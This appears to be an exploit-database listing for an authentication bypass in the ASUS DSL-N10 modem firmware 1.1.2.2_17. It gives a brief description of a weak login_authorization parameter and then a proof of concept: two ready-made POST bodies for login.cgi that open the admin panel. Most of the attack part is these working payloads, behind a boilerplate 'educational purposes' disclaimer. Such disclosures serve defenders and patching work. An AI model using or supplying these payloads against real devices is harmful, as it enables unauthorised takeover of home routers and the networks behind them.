Asusdsl n10 1.1.2.2_17 authentication bypass Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-08-15 | Type : webapps | Platform : hardware
This exploit / vulnerability Asusdsl n10 1.1.2.2_17 authentication bypass is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Title: ASUS-DSL N10 1.1.2.2_17 - Authentication Bypass
# Author: AmnBAN team
# Date: 2018-08-06
# Vendor Homepage: https://www.asus.com/Networking/DSLN10_C1_with_5dBi_antenna/
# Sofrware version: 1.1.2.2_17
# CVE: N/A

# 1. Description:
# In ASUS-DSL N10 C1 modem Firmware Version 1.1.2.2_17 there is login_authorization
# parameter in post data, that use for authorization access to admin panel,
# the data of this parameter is not fully random and you can use old data
# or data of another device to access admin panel.

# 2. Proof of Concept:
# Browse http://<Your Modem IP>/login.cgi

# Send this post data:
group_id=&action_mode=&action_script=&action_wait=5&current_page=Main_Login.asp&next_page=%2Fcgi-bin%2FAdvanced_LAN_Content.asp&login_authorization=YWRtaW46MQ%3D%2D

# Or this post data:
group_id=&action_mode=&action_script=&action_wait=5&current_page=Main_Login.asp&next_page=%2Fcgi-bin%2FAdvanced_LAN_Content.asp&login_authorization=FWRtaW46MQ%3D5D